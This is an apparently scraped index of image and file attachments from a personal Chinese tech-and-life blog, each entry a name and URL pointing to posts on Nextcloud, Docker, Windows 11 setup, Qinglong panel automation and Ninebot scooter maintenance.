https://www.saiita.com.cn/note/computer/blog/wordpress/%e6%b8%85%e7%90%86%e6%97%a0%e7%94%a8%e7%9a%84%e5%8f%8b%e9%93%be.html/attachment/1670942349-image ### 1670936112-libmysqlclient.so_.zip - **URL**: https://www.saiita.com.cn/note/computer/%e8%a7%a3%e5%86%b3%e8%bf%90%e8%a1%8cpython%e6%8a%a5%e7%bc%ba%e5%b0%91libmysqlclient-so-20%e6%96%87%e4%bb%b6.html/attachment/1670936112-libmysqlclient-so_-zip ### 1670775031-image - **URL**: https://www.saiita.com.cn/1670775031-image ### 1670774878-image - **URL**: https://www.saiita.com.cn/1670774878-image ### 1670773500-image - **URL**: https://www.saiita.com.cn/note/life_essays/%e5%85%b3%e4%ba%8e%e4%ba%ac%e4%b8%9c2%e6%ac%a1%e7%bb%b4%e4%bf%ae%e7%94%b5%e8%84%91%e4%b8%bb%e6%9d%bfcpu%e5%a5%97%e8%a3%85%e7%9a%84%e9%97%ae%e9%a2%98.html/attachment/1670773500-image ### 1670773470-image - **URL**: https://www.saiita.com.cn/note/life_essays/%e5%85%b3%e4%ba%8e%e4%ba%ac%e4%b8%9c2%e6%ac%a1%e7%bb%b4%e4%bf%ae%e7%94%b5%e8%84%91%e4%b8%bb%e6%9d%bfcpu%e5%a5%97%e8%a3%85%e7%9a%84%e9%97%ae%e9%a2%98.html/attachment/1670773470-image ### 1670772234-22-12-11-15-24-40-7663 - **URL**: https://www.saiita.com.cn/note/ninebot/%e8%ae%b0%e5%8f%b7-mmax110p-%e7%94%b5%e6%b1%a0%ef%bc%8c%e8%87%aa%e5%8a%a8%e5%85%b3%e6%9c%ba%e5%92%8c%e8%93%9d%e7%89%99%e9%97%ae%e9%a2%98.html/attachment/1670772234-22-12-11-15-24-40-7663 ### 1670770444-image - **URL**: https://www.saiita.com.cn/note/online_game/%e3%80%8a%e7%ba%a2%e8%89%b2%e8%ad%a6%e6%88%923-%e6%97%a5%e5%86%95%e3%80%8b-%e4%b8%8d%e5%ae%b9%e6%98%93%e6%89%93%e8%b4%a55%e4%b8%aa%e5%87%b6%e6%ae%8b%e7%9a%84%e7%94%b5%e8%84%91.html/attachment/1670770444-image ### 1670767692-image - **URL**: https://www.saiita.com.cn/note/online_game/%e3%80%8a%e7%ba%a2%e8%89%b2%e8%ad%a6%e6%88%923-%e6%97%a5%e5%86%95%e3%80%8b-%e4%b8%8d%e5%ae%b9%e6%98%93%e6%89%93%e8%b4%a55%e4%b8%aa%e5%87%b6%e6%ae%8b%e7%9a%84%e7%94%b5%e8%84%91.html/attachment/1670767692-image ### 1670767653-image - **URL**: https://www.saiita.com.cn/note/online_game/%e3%80%8a%e7%ba%a2%e8%89%b2%e8%ad%a6%e6%88%923-%e6%97%a5%e5%86%95%e3%80%8b-%e4%b8%8d%e5%ae%b9%e6%98%93%e6%89%93%e8%b4%a55%e4%b8%aa%e5%87%b6%e6%ae%8b%e7%9a%84%e7%94%b5%e8%84%91.html/attachment/1670767653-image ### 1670333134-image - **URL**: https://www.saiita.com.cn/note/online_game/%e7%ba%a2%e8%ad%a63-%e6%97%a5%e5%86%95%e4%b8%8b%e8%bd%bd%e5%ae%89%e8%a3%85.html/attachment/1670333134-image ### 1670332069-image - **URL**: https://www.saiita.com.cn/1670332069-image ### 1670160811-image - **URL**: https://www.saiita.com.cn/note/computer/software/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf%e7%94%a8%e4%ba%86%e4%b8%80%e6%ae%b5%e6%97%b6%e9%97%b4%e5%8f%91%e7%8e%b0%e5%8f%af%e4%bb%a5%e8%87%aa%e5%8a%a8%e8%af%84%e4%bb%b7.html/attachment/1670160811-image ### 1670080756-image - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/nextcloud-%e9%85%8d%e7%bd%aememcached.html/attachment/1670080756-image ### 1670079857-22-12-03-22-24-34-7565 - **URL**: https://www.saiita.com.cn/huawei/outsourcing_team_change/%e6%9d%ad%e5%b7%9e%e8%bd%af%e4%bb%b6%e6%b5%8b%e8%af%95%e4%b9%9f%e5%bc%80%e5%a7%8b%e5%86%85%e5%8d%b7%e4%ba%86.html/attachment/1670079857-22-12-03-22-24-34-7565 ### 1670078336-22-11-28-20-19-52-7505 - **URL**: https://www.saiita.com.cn/note/ninebot/%e4%b9%9d%e5%8f%b7mmax-110p-%e5%8e%9f%e5%8e%8268a%e7%94%b5%e6%b1%a0%e5%92%8c%e6%9c%9d%e9%98%b3%e8%bd%ae%e8%83%8e-758512%ef%bc%88chaoyang%ef%bc%89%e4%bd%bf%e7%94%a8%e6%84%9f%e5%8f%97.html/attachment/1670078336-22-11-28-20-19-52-7505 ### 1670078285-22-11-29-08-25-13-7507 - **URL**: https://www.saiita.com.cn/note/ninebot/%e4%b9%9d%e5%8f%b7mmax-110p-%e5%8e%9f%e5%8e%8268a%e7%94%b5%e6%b1%a0%e5%92%8c%e6%9c%9d%e9%98%b3%e8%bd%ae%e8%83%8e-758512%ef%bc%88chaoyang%ef%bc%89%e4%bd%bf%e7%94%a8%e6%84%9f%e5%8f%97.html/attachment/1670078285-22-11-29-08-25-13-7507 ### 1670078016-22-11-28-20-11-13-7503 - **URL**: https://www.saiita.com.cn/note/ninebot/%e4%b9%9d%e5%8f%b7mmax-110p-%e5%8e%9f%e5%8e%8268a%e7%94%b5%e6%b1%a0%e5%92%8c%e6%9c%9d%e9%98%b3%e8%bd%ae%e8%83%8e-758512%ef%bc%88chaoyang%ef%bc%89%e4%bd%bf%e7%94%a8%e6%84%9f%e5%8f%97.html/attachment/1670078016-22-11-28-20-11-13-7503 ### 1670077880-22-12-03-17-21-54-7557 - **URL**: https://www.saiita.com.cn/note/ninebot/%e4%b9%9d%e5%8f%b7mmax-110p-%e5%8e%9f%e5%8e%8268a%e7%94%b5%e6%b1%a0%e5%92%8c%e6%9c%9d%e9%98%b3%e8%bd%ae%e8%83%8e-758512%ef%bc%88chaoyang%ef%bc%89%e4%bd%bf%e7%94%a8%e6%84%9f%e5%8f%97.html/attachment/1670077880-22-12-03-17-21-54-7557 ### 1669816856-image - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/nextcloud-%e5%86%85%e9%83%a8%e9%94%99%e8%af%af.html/attachment/1669816856-image ### 1669725740-image - **URL**: https://www.saiita.com.cn/note/online_game/%e7%ba%a2%e8%ad%a63-%e6%97%a5%e5%86%95%e4%b8%8b%e8%bd%bd%e5%ae%89%e8%a3%85.html/attachment/1669725740-image ### 1669723271-image - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/nextcloud-redis%e8%ae%be%e7%bd%ae%e9%97%ae%e9%a2%98.html/attachment/1669723271-image ### 1669642547-image - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/nextcloud-%e8%bf%99%e4%b8%aa%e9%94%99%e8%af%af%e5%8f%88%e7%82%b9%e7%83%a6.html/attachment/1669642547-image ### 1669642398-image - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/nextcloud-%e8%bf%99%e4%b8%aa%e9%94%99%e8%af%af%e5%8f%88%e7%82%b9%e7%83%a6.html/attachment/1669642398-image ### 1669389924-image - **URL**: https://www.saiita.com.cn/note/computer/software/docker/docker-onlyoffice-nextcloud.html/attachment/1669389924-image ### 1669387126-image - **URL**: https://www.saiita.com.cn/note/computer/software/docker/docker-onlyoffice-nextcloud.html/attachment/1669387126-image ### 1669387107-image - **URL**: https://www.saiita.com.cn/note/computer/software/docker/docker-onlyoffice-nextcloud.html/attachment/1669387107-image ### 1669385160-22-11-25-20-13-58-7446 - **URL**: https://www.saiita.com.cn/note/ninebot/%e4%b9%9d%e5%8f%b7mmax-110p-20a-%e5%85%85%e7%94%b5%e5%99%a8.html/attachment/1669385160-22-11-25-20-13-58-7446 ### 1669385110-22-11-25-20-07-07-7443 - **URL**: https://www.saiita.com.cn/note/ninebot/%e4%b9%9d%e5%8f%b7mmax-110p-20a-%e5%85%85%e7%94%b5%e5%99%a8.html/attachment/1669385110-22-11-25-20-07-07-7443 ### 1669384955-22-11-25-20-03-01-7442 - **URL**: https://www.saiita.com.cn/note/ninebot/%e4%b9%9d%e5%8f%b7mmax-110p-20a-%e5%85%85%e7%94%b5%e5%99%a8.html/attachment/1669384955-22-11-25-20-03-01-7442 ### 1669297588-22-11-21-19-50-50-7404 - **URL**: https://www.saiita.com.cn/note/ninebot/%e4%b9%9d%e5%8f%b7mmax110p-%e8%bf%99%e4%b8%aa%e6%8c%a1%e6%b3%a5%e6%9d%bf%e8%bf%98%e6%98%af%e6%9c%89%e7%94%a8%e7%9a%84%e3%80%82.html/attachment/1669297588-22-11-21-19-50-50-7404 ### 1669294261-22-11-24-20-49-41-7437 - **URL**: https://www.saiita.com.cn/note/computer/software/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf%e7%94%a8%e4%ba%86%e4%b8%80%e6%ae%b5%e6%97%b6%e9%97%b4%e5%8f%91%e7%8e%b0%e5%8f%af%e4%bb%a5%e8%87%aa%e5%8a%a8%e8%af%84%e4%bb%b7.html/attachment/1669294261-22-11-24-20-49-41-7437 ### 1669294124-image - **URL**: https://www.saiita.com.cn/note/computer/software/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf%e7%94%a8%e4%ba%86%e4%b8%80%e6%ae%b5%e6%97%b6%e9%97%b4%e5%8f%91%e7%8e%b0%e5%8f%af%e4%bb%a5%e8%87%aa%e5%8a%a8%e8%af%84%e4%bb%b7.html/attachment/1669294124-image ### 1669294112-image - **URL**: https://www.saiita.com.cn/note/computer/software/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf%e7%94%a8%e4%ba%86%e4%b8%80%e6%ae%b5%e6%97%b6%e9%97%b4%e5%8f%91%e7%8e%b0%e5%8f%af%e4%bb%a5%e8%87%aa%e5%8a%a8%e8%af%84%e4%bb%b7.html/attachment/1669294112-image ### 1669293269-22-11-12-14-01-33-7243 - **URL**: https://www.saiita.com.cn/note/ninebot/%e4%b9%9d%e5%8f%b7mmax-110p-%e6%9b%b4%e6%8d%a2%e8%bd%ae%e8%83%8e.html/attachment/1669293269-22-11-12-14-01-33-7243 ### 1669292845-22-11-12-16-09-20-7254 - **URL**: https://www.saiita.com.cn/note/ninebot/%e4%b9%9d%e5%8f%b7mmax-110p-%e6%9b%b4%e6%8d%a2%e8%bd%ae%e8%83%8e.html/attachment/1669292845-22-11-12-16-09-20-7254 ### 1669127281-image - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/nextcloud-%e6%96%87%e4%bb%b6%e5%a4%b9-%e6%96%87%e4%bb%b6%e5%88%86%e4%ba%ab%e5%88%b0%e7%bb%84%ef%bc%8c%e6%88%96%e8%80%85%e4%b8%aa%e4%ba%ba.html/attachment/1669127281-image ### 1669127253-image - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/nextcloud-%e6%96%87%e4%bb%b6%e5%a4%b9-%e6%96%87%e4%bb%b6%e5%88%86%e4%ba%ab%e5%88%b0%e7%bb%84%ef%bc%8c%e6%88%96%e8%80%85%e4%b8%aa%e4%ba%ba.html/attachment/1669127253-image ### 1669126738-image - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/nextcloud-desktop-%e5%ae%89%e8%a3%85%e5%92%8c%e4%bd%bf%e7%94%a8.html/attachment/1669126738-image ### 1669124021-image - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/nextcloud-desktop-%e5%ae%89%e8%a3%85%e5%92%8c%e4%bd%bf%e7%94%a8.html/attachment/1669124021-image ### 1669123959-image - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/nextcloud-desktop-%e5%ae%89%e8%a3%85%e5%92%8c%e4%bd%bf%e7%94%a8.html/attachment/1669123959-image ### 1669123901-image - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/nextcloud-desktop-%e5%ae%89%e8%a3%85%e5%92%8c%e4%bd%bf%e7%94%a8.html/attachment/1669123901-image ### 1669123824-image - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/nextcloud-desktop-%e5%ae%89%e8%a3%85%e5%92%8c%e4%bd%bf%e7%94%a8.html/attachment/1669123824-image ### 1669123748-image - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/nextcloud-desktop-%e5%ae%89%e8%a3%85%e5%92%8c%e4%bd%bf%e7%94%a8.html/attachment/1669123748-image ### 1669123668-image - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/nextcloud-desktop-%e5%ae%89%e8%a3%85%e5%92%8c%e4%bd%bf%e7%94%a8.html/attachment/1669123668-image ### 1669123541-image - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/nextcloud-desktop-%e5%ae%89%e8%a3%85%e5%92%8c%e4%bd%bf%e7%94%a8.html/attachment/1669123541-image ### 1669123171-image - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/nextcloud-desktop-%e5%ae%89%e8%a3%85%e5%92%8c%e4%bd%bf%e7%94%a8.html/attachment/1669123171-image ### 1669123135-image - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/nextcloud-desktop-%e5%ae%89%e8%a3%85%e5%92%8c%e4%bd%bf%e7%94%a8.html/attachment/1669123135-image ### 1669123089-image - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/nextcloud-desktop-%e5%ae%89%e8%a3%85%e5%92%8c%e4%bd%bf%e7%94%a8.html/attachment/1669123089-image ### 1669123070-image - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/nextcloud-desktop-%e5%ae%89%e8%a3%85%e5%92%8c%e4%bd%bf%e7%94%a8.html/attachment/1669123070-image ### 1669123050-image - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/nextcloud-desktop-%e5%ae%89%e8%a3%85%e5%92%8c%e4%bd%bf%e7%94%a8.html/attachment/1669123050-image ### 1669123026-image - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/nextcloud-desktop-%e5%ae%89%e8%a3%85%e5%92%8c%e4%bd%bf%e7%94%a8.html/attachment/1669123026-image ### 1669121529-image - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/nextcloud-desktop-%e5%ae%89%e8%a3%85%e5%92%8c%e4%bd%bf%e7%94%a8.html/attachment/1669121529-image ### 1669121475-image - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/nextcloud-desktop-%e5%ae%89%e8%a3%85%e5%92%8c%e4%bd%bf%e7%94%a8.html/attachment/1669121475-image ### 1668095577-image - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/%e3%80%90nextcloud%e3%80%91%e6%8f%92%e4%bb%b6.html/attachment/1668095577-image ### 1668093472-image - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/%e3%80%90nextcloud%e3%80%91%e5%8f%88%e9%87%8d%e8%a3%85%e4%ba%86.html/attachment/1668093472-image ### 1667999972-image - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/nextcloud-%e5%86%85%e5%ae%b9%e6%9c%8d%e5%8a%a1%e9%94%99%e8%af%af.html/attachment/1667999972-image ### 1667918960-image - **URL**: https://www.saiita.com.cn/note/computer/software/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf/%e3%80%90%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf%e3%80%91%e4%ba%ac%e4%b8%9ccookie%e8%8e%b7%e5%8f%96pt_key%e5%92%8cpt_pin.html/attachment/1667918960-image ### 1667738410-image - **URL**: https://www.saiita.com.cn/note/computer/software/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf-%e5%93%94%e5%93%a9%e5%93%94%e5%93%a9-bilibili-%e8%87%aa%e5%8a%a8%e7%ad%be%e5%88%b0%e5%92%8c%e8%87%aa%e5%8a%a8%e6%8a%95%e5%b8%81.html/attachment/1667738410-image ### 1667738395-image - **URL**: https://www.saiita.com.cn/note/computer/software/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf-%e5%93%94%e5%93%a9%e5%93%94%e5%93%a9-bilibili-%e8%87%aa%e5%8a%a8%e7%ad%be%e5%88%b0%e5%92%8c%e8%87%aa%e5%8a%a8%e6%8a%95%e5%b8%81.html/attachment/1667738395-image ### 1667738318-image - **URL**: https://www.saiita.com.cn/note/computer/software/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf-%e5%93%94%e5%93%a9%e5%93%94%e5%93%a9-bilibili-%e8%87%aa%e5%8a%a8%e7%ad%be%e5%88%b0%e5%92%8c%e8%87%aa%e5%8a%a8%e6%8a%95%e5%b8%81.html/attachment/1667738318-image ### 1667738194-image - **URL**: https://www.saiita.com.cn/note/computer/software/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf-%e5%93%94%e5%93%a9%e5%93%94%e5%93%a9-bilibili-%e8%87%aa%e5%8a%a8%e7%ad%be%e5%88%b0%e5%92%8c%e8%87%aa%e5%8a%a8%e6%8a%95%e5%b8%81.html/attachment/1667738194-image ### 1667738005-image - **URL**: https://www.saiita.com.cn/note/computer/software/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf-%e5%93%94%e5%93%a9%e5%93%94%e5%93%a9-bilibili-%e8%87%aa%e5%8a%a8%e7%ad%be%e5%88%b0%e5%92%8c%e8%87%aa%e5%8a%a8%e6%8a%95%e5%b8%81.html/attachment/1667738005-image ### 1667737741-bilibili_daily_up - **URL**: https://www.saiita.com.cn/note/computer/software/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf-%e5%93%94%e5%93%a9%e5%93%94%e5%93%a9-bilibili-%e8%87%aa%e5%8a%a8%e7%ad%be%e5%88%b0%e5%92%8c%e8%87%aa%e5%8a%a8%e6%8a%95%e5%b8%81.html/attachment/1667737741-bilibili_daily_up ### 1667664302-image - **URL**: https://www.saiita.com.cn/note/computer/software/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf-%e8%ae%be%e7%bd%ae%e4%ba%ac%e4%b8%9c%e8%87%aa%e5%8a%a8%e9%a2%86%e4%ba%ac%e4%b8%9c%e8%b1%86%ef%bc%8c%e5%81%9a%e5%86%9c%e5%9c%ba%e6%b5%87%e6%b0%b4%e7%ad%89%e4%bb%bb.html/attachment/1667664302-image ### 1667664219-image - **URL**: https://www.saiita.com.cn/note/computer/software/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf-%e8%ae%be%e7%bd%ae%e4%ba%ac%e4%b8%9c%e8%87%aa%e5%8a%a8%e9%a2%86%e4%ba%ac%e4%b8%9c%e8%b1%86%ef%bc%8c%e5%81%9a%e5%86%9c%e5%9c%ba%e6%b5%87%e6%b0%b4%e7%ad%89%e4%bb%bb.html/attachment/1667664219-image ### 1667663880-image - **URL**: https://www.saiita.com.cn/note/computer/software/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf-%e8%ae%be%e7%bd%ae%e4%ba%ac%e4%b8%9c%e8%87%aa%e5%8a%a8%e9%a2%86%e4%ba%ac%e4%b8%9c%e8%b1%86%ef%bc%8c%e5%81%9a%e5%86%9c%e5%9c%ba%e6%b5%87%e6%b0%b4%e7%ad%89%e4%bb%bb.html/attachment/1667663880-image ### 1667663666-image - **URL**: https://www.saiita.com.cn/note/computer/software/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf-%e8%ae%be%e7%bd%ae%e4%ba%ac%e4%b8%9c%e8%87%aa%e5%8a%a8%e9%a2%86%e4%ba%ac%e4%b8%9c%e8%b1%86%ef%bc%8c%e5%81%9a%e5%86%9c%e5%9c%ba%e6%b5%87%e6%b0%b4%e7%ad%89%e4%bb%bb.html/attachment/1667663666-image ### 1667663575-image - **URL**: https://www.saiita.com.cn/note/computer/software/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf-%e8%ae%be%e7%bd%ae%e4%ba%ac%e4%b8%9c%e8%87%aa%e5%8a%a8%e9%a2%86%e4%ba%ac%e4%b8%9c%e8%b1%86%ef%bc%8c%e5%81%9a%e5%86%9c%e5%9c%ba%e6%b5%87%e6%b0%b4%e7%ad%89%e4%bb%bb.html/attachment/1667663575-image ### 1667663546-image - **URL**: https://www.saiita.com.cn/note/computer/software/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf-%e8%ae%be%e7%bd%ae%e4%ba%ac%e4%b8%9c%e8%87%aa%e5%8a%a8%e9%a2%86%e4%ba%ac%e4%b8%9c%e8%b1%86%ef%bc%8c%e5%81%9a%e5%86%9c%e5%9c%ba%e6%b5%87%e6%b0%b4%e7%ad%89%e4%bb%bb.html/attachment/1667663546-image ### 1667663536-image - **URL**: https://www.saiita.com.cn/note/computer/software/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf-%e8%ae%be%e7%bd%ae%e4%ba%ac%e4%b8%9c%e8%87%aa%e5%8a%a8%e9%a2%86%e4%ba%ac%e4%b8%9c%e8%b1%86%ef%bc%8c%e5%81%9a%e5%86%9c%e5%9c%ba%e6%b5%87%e6%b0%b4%e7%ad%89%e4%bb%bb.html/attachment/1667663536-image ### 1667663271-image - **URL**: https://www.saiita.com.cn/note/computer/software/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf/%e9%9d%92%e9%be%99%e9%9d%a2%e6%9d%bf-%e8%ae%be%e7%bd%ae%e4%ba%ac%e4%b8%9c%e8%87%aa%e5%8a%a8%e9%a2%86%e4%ba%ac%e4%b8%9c%e8%b1%86%ef%bc%8c%e5%81%9a%e5%86%9c%e5%9c%ba%e6%b5%87%e6%b0%b4%e7%ad%89%e4%bb%bb.html/attachment/1667663271-image ### 1667650548-image - **URL**: https://www.saiita.com.cn/note/computer/raspberry_pi/%e6%a0%91%e8%8e%93%e6%b4%be%ef%bc%88raspberry-pi-desktop%ef%bc%89%e9%83%a8%e7%bd%b2%e5%ae%9a%e6%97%b6%e7%bd%91%e7%bb%9c%e5%94%a4%e9%86%92%e4%bb%bb%e5%8a%a1.html/attachment/1667650548-image ### 1667650308-image - **URL**: https://www.saiita.com.cn/note/computer/raspberry_pi/%e6%a0%91%e8%8e%93%e6%b4%be%ef%bc%88raspberry-pi-desktop%ef%bc%89%e9%83%a8%e7%bd%b2%e5%ae%9a%e6%97%b6%e7%bd%91%e7%bb%9c%e5%94%a4%e9%86%92%e4%bb%bb%e5%8a%a1.html/attachment/1667650308-image ### 1667492209-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/windows-11/windows-11-%e5%ae%89%e8%a3%85python.html/attachment/1667492209-image ### 1667485266-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/windows-11/windows-11-%e5%ae%89%e8%a3%85python.html/attachment/1667485266-image ### 1667485224-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/windows-11/windows-11-%e5%ae%89%e8%a3%85python.html/attachment/1667485224-image ### 1667437253-5278E723-F91D-40FE-B651-EA35082DC2F2 - **URL**: https://www.saiita.com.cn/note/ninebot/%e4%b9%9d%e5%8f%b7mmax110p-%e5%89%8d%e8%bd%ae%e8%bd%a6%e6%9e%b6%e5%8f%b7%e6%8c%a1%e6%b3%a5%e6%9d%bf.html/attachment/1667437253-5278e723-f91d-40fe-b651-ea35082dc2f2 ### 1666270997-22-10-20-20-01-46-6961 - **URL**: https://www.saiita.com.cn/note/ninebot/%e4%b9%9d%e5%8f%b7mmax110p-%e5%89%8d%e8%bd%ae%e8%bd%a6%e6%9e%b6%e5%8f%b7%e6%8c%a1%e6%b3%a5%e6%9d%bf.html/attachment/1666270997-22-10-20-20-01-46-6961 ### 1664978373-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/npm-start-%e5%90%8e%e5%8f%b0%e8%bf%90%e8%a1%8c.html/attachment/1664978373-image ### 1664975565-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/cudatext%e8%ae%be%e7%bd%ae%e4%b8%ad%e6%96%87.html/attachment/1664975565-image ### 1664975551-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/cudatext%e8%ae%be%e7%bd%ae%e4%b8%ad%e6%96%87.html/attachment/1664975551-image ### 1664972359-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/windows-11/windows-11-%e5%bc%80%e6%9c%ba%e8%87%aa%e5%8a%a8%e5%90%af%e5%8a%a8%e7%a7%bb%e5%8a%a8%e7%83%ad%e7%82%b9.html/attachment/1664972359-image ### 1664970079-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/windows-11/windows-11-docker-%e5%bc%80%e6%9c%ba%e8%87%aa%e5%8a%a8%e5%90%af%e5%8a%a8.html/attachment/1664970079-image ### 1664970061-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/windows-11/windows-11-docker-%e5%bc%80%e6%9c%ba%e8%87%aa%e5%8a%a8%e5%90%af%e5%8a%a8.html/attachment/1664970061-image ### 1664969685-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/windows-11/windows-11-%e8%ae%be%e7%bd%ae-%e5%bc%80%e6%9c%ba%e6%97%a0%e5%af%86%e7%a0%81%e8%87%aa%e5%8a%a8%e7%99%bb%e9%99%86.html/attachment/1664969685-image ### 1664969193-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/windows-11/windows-11-%e8%ae%be%e7%bd%ae-%e5%bc%80%e6%9c%ba%e6%97%a0%e5%af%86%e7%a0%81%e8%87%aa%e5%8a%a8%e7%99%bb%e9%99%86.html/attachment/1664969193-image ### 1664969108-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/windows-11/windows-11-%e8%ae%be%e7%bd%ae-%e5%bc%80%e6%9c%ba%e6%97%a0%e5%af%86%e7%a0%81%e8%87%aa%e5%8a%a8%e7%99%bb%e9%99%86.html/attachment/1664969108-image ### 1664969048-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/windows-11/windows-11-%e8%ae%be%e7%bd%ae-%e5%bc%80%e6%9c%ba%e6%97%a0%e5%af%86%e7%a0%81%e8%87%aa%e5%8a%a8%e7%99%bb%e9%99%86.html/attachment/1664969048-image ### 1664946492-image - **URL**: https://www.saiita.com.cn/1664946492-image ### 1664946484-image - **URL**: https://www.saiita.com.cn/1664946484-image ### 1664946477-image - **URL**: https://www.saiita.com.cn/1664946477-image ### 1664938696-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/windows-11/windows-11-%e5%ae%89%e8%a3%85reids.html/attachment/1664938696-image ### 1664938643-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/windows-11/windows-11-%e5%ae%89%e8%a3%85reids.html/attachment/1664938643-image ### 1664938550-image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/windows-11/windows-11-%e5%ae%89%e8%a3%85reids.html/attachment/1664938550-image ### 1664897562-image - **URL**: https://www.saiita.com.cn/note/computer/software/mysql/windows-11-%e5%ae%89%e8%a3%85mysql.html/attachment/1664897562-image ### 1664897481-image - **URL**: https://www.saiita.com.cn/note/computer/software/mysql/windows-11-%e5%ae%89%e8%a3%85mysql.html/attachment/1664897481-image ### 1664897302-image - **URL**: https://www.saiita.com.cn/note/computer/software/mysql/windows-11-%e5%ae%89%e8%a3%85mysql.html/attachment/1664897302-image ### 1664897242-image - **URL**: https://www.saiita.com.cn/note/computer/software/mysql/windows-11-%e5%ae%89%e8%a3%85mysql.html/attachment/1664897242-image ### 1664897230-image - **URL**: https://www.saiita.com.cn/note/computer/software/mysql/windows-11-%e5%ae%89%e8%a3%85mysql.html/attachment/1664897230-image ### 1664896966-image - **URL**: https://www.saiita.com.cn/note/computer/software/mysql/windows-11-%e5%ae%89%e8%a3%85mysql.html/attachment/1664896966-image ### 1664896810-image - **URL**: https://www.saiita.com.cn/note/computer/software/mysql/windows-11-%e5%ae%89%e8%a3%85mysql.html/attachment/1664896810-image ### 1664896789-image - **URL**: https://www.saiita.com.cn/note/computer/software/mysql/windows-11-%e5%ae%89%e8%a3%85mysql.html/attachment/1664896789-image ### 1664895671-image - **URL**: https://www.saiita.com.cn/note/computer/software/docker/windows%e9%83%a8%e7%bd%b2docker.html/attachment/1664895671-image ### 1664895293-image - **URL**: https://www.saiita.com.cn/note/computer/software/docker/windows%e9%83%a8%e7%bd%b2docker.html/attachment/1664895293-image ### 1664895118-image - **URL**: https://www.saiita.com.cn/note/computer/software/docker/windows%e9%83%a8%e7%bd%b2docker.html/attachment/1664895118-image ### 1664895073-image - **URL**: https://www.saiita.com.cn/note/computer/software/docker/windows%e9%83%a8%e7%bd%b2docker.html/attachment/1664895073-image ### 1664109451-image - **URL**: 